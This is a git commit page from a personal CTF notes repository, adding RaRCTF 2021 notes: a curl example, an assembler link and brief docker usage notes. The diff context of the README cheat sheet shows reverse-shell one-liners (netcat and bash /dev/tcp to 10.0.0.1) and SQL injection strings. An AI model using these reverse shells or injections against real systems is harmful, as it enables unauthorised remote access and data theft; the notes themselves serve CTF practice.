diff options
| author | Malfurious <m@lfurio.us> | 2021-08-15 06:18:40 -0400 |
|---|---|---|
| committer | Malfurious <m@lfurio.us> | 2021-08-15 06:18:40 -0400 |
| commit | 5c205cf171804bb6ebc7b85c3839ca135e816bba (patch) | |
| tree | 710c6351af2daa8447a1d8c44f13874b296864e0 | |
| parent | b9b94713fc64b0b9443c3114c0c79d641db20a67 (diff) | |
| download | lib-des-gnux-5c205cf171804bb6ebc7b85c3839ca135e816bba.tar.gz lib-des-gnux-5c205cf171804bb6ebc7b85c3839ca135e816bba.zip | |
Commit notes from RaRCTF 2021
Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to '')
| -rw-r--r-- | README.txt | 1 | ||||
| -rw-r--r-- | docs/pwn/pwn-links.txt | 1 | ||||
| -rw-r--r-- | docs/web/docker.txt | 15 |
3 files changed, 17 insertions, 0 deletions
@@ -22,3 +22,4 @@ nc 10.0.0.1 1234 -e cmd.exe # Netcat reverse shell (Windows) bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # Bash reverse shell ' OR 1=1-- # SQL inject (pass) ' OR 1=1 UNION SELECT x,y,z FROM table-- # SQL inject (leak) +curl -i -X POST -d 'a=b&c=d' -F 'f=@file;filename=asdf' URL # curl post request diff --git a/docs/pwn/pwn-links.txt b/docs/pwn/pwn-links.txt index ae39752..5c8e374 100644 --- a/docs/pwn/pwn-links.txt +++ b/docs/pwn/pwn-links.txt @@ -1,3 +1,4 @@ https://opensource.com/article/21/6/linux-checksec https://trustfoundry.net/basic-rop-techniques-and-tricks/ https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf +https://defuse.ca/online-x86-assembler.htm diff --git a/docs/web/docker.txt b/docs/web/docker.txt new file mode 100644 index 0000000..992b5b3 --- /dev/null +++ b/docs/web/docker.txt @@ -0,0 +1,15 @@ +# TODO: This whole doc + +docker run -p host:container + Run container with port forwarding + +docker run --rm -d --network host --name <something> <image-id> + --rm Destroy container on exit + -d Run detached (don't hijack terminal) + --net... Use host's network (don't need port forward) + +docker exec -it + Get a shell in container + + +I'm told docker-compose is just much simpler, try to use if possible. |